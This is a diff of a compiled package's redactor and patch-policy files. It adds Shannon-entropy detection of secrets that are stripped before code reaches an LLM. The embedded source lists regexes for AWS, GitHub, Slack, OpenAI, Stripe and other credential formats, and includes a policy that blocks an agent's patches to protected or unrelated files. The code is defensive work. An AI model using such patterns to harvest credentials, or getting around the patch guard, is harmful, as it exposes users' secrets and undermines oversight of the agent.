{\n allowed: boolean;\n reason?: string;\n}\n\n/** Decide whether `patch` may be applied under `ctx`. */\nexport function checkPatchPolicy(patch: Patch, ctx: PolicyContext): PolicyDecision {\n const p = patch.path.replace(/\\\\/g, \"/\");\n if (DENY_RE.test(p)) {\n return { allowed: false, reason: `patch touches a protected path (${p})` };\n }\n if (ctx.findingFiles.has(p)) return { allowed: true };\n if (ctx.manifestFiles.has(p)) return { allowed: true };\n return {\n allowed: false,\n reason: `patch edits ${p}, which has no finding and is not a dependency manifest`,\n };\n}\n"]}
|
package/dist/redact.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"redact.d.ts","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,YAAY,EAAE,eAAe,EAAE,MAAM,kBAAkB,CAAC;
|
|
1
|
+
{"version":3,"file":"redact.d.ts","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,YAAY,EAAE,eAAe,EAAE,MAAM,kBAAkB,CAAC;AAyJtE;;;;GAIG;AACH,wBAAgB,YAAY,CAC1B,OAAO,EAAE,OAAO,EAChB,KAAK,EAAE,YAAY,EACnB,WAAW,EAAE,MAAM,GAClB,eAAe,CA0BjB;AAED,wEAAwE;AACxE,wBAAgB,eAAe,CAAC,QAAQ,EAAE,eAAe,EAAE,GAAG,MAAM,CAQnE"}
|
package/dist/redact.js
CHANGED
|
@@ -31,6 +31,41 @@ const TOKEN_PATTERNS = [
|
|
|
31
31
|
/\b[0-9a-fA-F]{40,4096}\b/g, // long hex run (≥20 bytes)
|
|
32
32
|
/[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)
|
|
33
33
|
];
|
|
34
|
+
/** Shannon entropy of a string, in bits per character. */
|
|
35
|
+
function shannonEntropy(s) {
|
|
36
|
+
const freq = new Map();
|
|
37
|
+
for (const ch of s)
|
|
38
|
+
freq.set(ch, (freq.get(ch) ?? 0) + 1);
|
|
39
|
+
let e = 0;
|
|
40
|
+
for (const n of freq.values()) {
|
|
41
|
+
const p = n / s.length;
|
|
42
|
+
e -= p * Math.log2(p);
|
|
43
|
+
}
|
|
44
|
+
return e;
|
|
45
|
+
}
|
|
46
|
+
/**
|
|
47
|
+
* Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}
|
|
48
|
+
* above miss (custom / novel key formats not tied to a known vendor prefix).
|
|
49
|
+
* Best-effort and biased toward over-redaction (safe): only a *long*,
|
|
50
|
+
* *high-entropy*, *charset-diverse* run is replaced, so ordinary code
|
|
51
|
+
* identifiers, words, and prose are left intact for the LLM to work with.
|
|
52
|
+
*/
|
|
53
|
+
const HIGH_ENTROPY_RUN = /[A-Za-z0-9_\-+/=.]{24,256}/g;
|
|
54
|
+
function redactHighEntropy(text) {
|
|
55
|
+
let redacted = false;
|
|
56
|
+
const out = text.replace(HIGH_ENTROPY_RUN, (m) => {
|
|
57
|
+
const classes = (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);
|
|
58
|
+
const hasSpecial = /[+/=_-]/.test(m);
|
|
59
|
+
// Random secrets are charset-diverse AND high-entropy; identifiers usually
|
|
60
|
+
// fail one of these (an identifier has repetition / structure → lower entropy).
|
|
61
|
+
if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {
|
|
62
|
+
redacted = true;
|
|
63
|
+
return REDACTED;
|
|
64
|
+
}
|
|
65
|
+
return m;
|
|
66
|
+
});
|
|
67
|
+
return { text: out, redacted };
|
|
68
|
+
}
|
|
34
69
|
/** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of
|
|
35
70
|
* a missing END marker — a truncated key is still fully redacted). */
|
|
36
71
|
function redactPrivateKeyBlocks(text) {
|
|
@@ -79,6 +114,10 @@ function stripSecrets(text) {
|
|
|
79
114
|
return REDACTED;
|
|
80
115
|
});
|
|
81
116
|
}
|
|
117
|
+
// Best-effort entropy catch-all for novel token shapes the named patterns miss.
|
|
118
|
+
const ent = redactHighEntropy(out);
|
|
119
|
+
out = ent.text;
|
|
120
|
+
redacted = redacted || ent.redacted;
|
|
82
121
|
result = { text: out, redacted };
|
|
83
122
|
}
|
|
84
123
|
catch {
|
package/dist/redact.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"redact.js","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"redact.js","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Context redactor: turn a finding + its file into the payload the LLM sees,\n * bounded to a chosen {@link ContextLevel} and with secrets ALWAYS stripped.\n *\n * This is a hard privacy boundary and lives in `@quantakrypto/core` (offline) so\n * the deterministic MCP plane redacts identically to the networked CLI. A\n * `sensitive` finding (the match IS key material) never emits code at any level.\n */\nimport type { Finding } from \"./types.js\";\nimport type { ContextLevel, RedactedContext } from \"./agent-types.js\";\n\n/** Lines of context on each side of the match at `snippet` level. */\nconst SNIPPET_RADIUS = 8;\n\n/** The placeholder that replaces any redacted secret. */\nconst REDACTED = \"«redacted-secret»\";\n\n/**\n * Text longer than this is not scanned pattern-by-pattern — we fail CLOSED\n * (redact the whole thing). Bounds worst-case work and sidesteps any engine\n * limit on pathological single-token runs.\n */\nconst MAX_SECRET_SCAN = 2_000_000;\n\n/**\n * High-signal secret shapes. EVERY quantifier has an explicit upper bound so\n * matching stays linear — no catastrophic backtracking and no regex-engine\n * stack overflow on multi-megabyte runs (both were real DoS vectors with the\n * old unbounded `{120,}` / `[\\s\\S]*?` patterns). Private-key BLOCKS are handled\n * separately, line-by-line, so a truncated key (missing `-----END-----`) is\n * still caught.\n */\nconst TOKEN_PATTERNS: readonly RegExp[] = [\n /\\b(?:AKIA|ASIA)[A-Z0-9]{16}\\b/g, // AWS access key id\n /\\bgh[posru]_[A-Za-z0-9]{20,255}\\b/g, // GitHub token\n /\\bgithub_pat_[A-Za-z0-9_]{20,255}\\b/g, // GitHub fine-grained PAT\n /\\bxox[baprs]-[A-Za-z0-9-]{10,255}\\b/g, // Slack\n /\\bsk-(?:proj-)?[A-Za-z0-9_-]{20,255}\\b/g, // OpenAI\n /\\b[rs]k_live_[A-Za-z0-9]{20,255}\\b/g, // Stripe\n /\\bAIza[A-Za-z0-9_-]{35}\\b/g, // Google API key\n /\\bglpat-[A-Za-z0-9_-]{20,255}\\b/g, // GitLab PAT\n /\\beyJ[A-Za-z0-9_-]{8,4096}\\.[A-Za-z0-9_-]{8,4096}\\.[A-Za-z0-9_-]{6,4096}\\b/g, // JWT\n // Assignment of a secret-looking key (.env / config lines).\n /(?:secret|token|passwd|password|api[_-]?key|access[_-]?key|client[_-]?secret|private[_-]?key)[\"'`]?\\s*[:=]\\s*[\"'`]?[^\\s\"'`,;]{6,4096}/gi,\n /\\b[0-9a-fA-F]{40,4096}\\b/g, // long hex run (≥20 bytes)\n /[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)\n];\n\n/** Shannon entropy of a string, in bits per character. */\nfunction shannonEntropy(s: string): number {\n const freq = new Map<string, number>();\n for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);\n let e = 0;\n for (const n of freq.values()) {\n const p = n / s.length;\n e -= p * Math.log2(p);\n }\n return e;\n}\n\n/**\n * Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}\n * above miss (custom / novel key formats not tied to a known vendor prefix).\n * Best-effort and biased toward over-redaction (safe): only a *long*,\n * *high-entropy*, *charset-diverse* run is replaced, so ordinary code\n * identifiers, words, and prose are left intact for the LLM to work with.\n */\nconst HIGH_ENTROPY_RUN = /[A-Za-z0-9_\\-+/=.]{24,256}/g;\nfunction redactHighEntropy(text: string): { text: string; redacted: boolean } {\n let redacted = false;\n const out = text.replace(HIGH_ENTROPY_RUN, (m) => {\n const classes =\n (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);\n const hasSpecial = /[+/=_-]/.test(m);\n // Random secrets are charset-diverse AND high-entropy; identifiers usually\n // fail one of these (an identifier has repetition / structure → lower entropy).\n if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {\n redacted = true;\n return REDACTED;\n }\n return m;\n });\n return { text: out, redacted };\n}\n\n/** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of\n * a missing END marker — a truncated key is still fully redacted). */\nfunction redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {\n const begin =\n /-----BEGIN (?:[A-Z0-9 ]*PRIVATE KEY|OPENSSH PRIVATE KEY|PGP PRIVATE KEY BLOCK)-----/;\n const end = /-----END 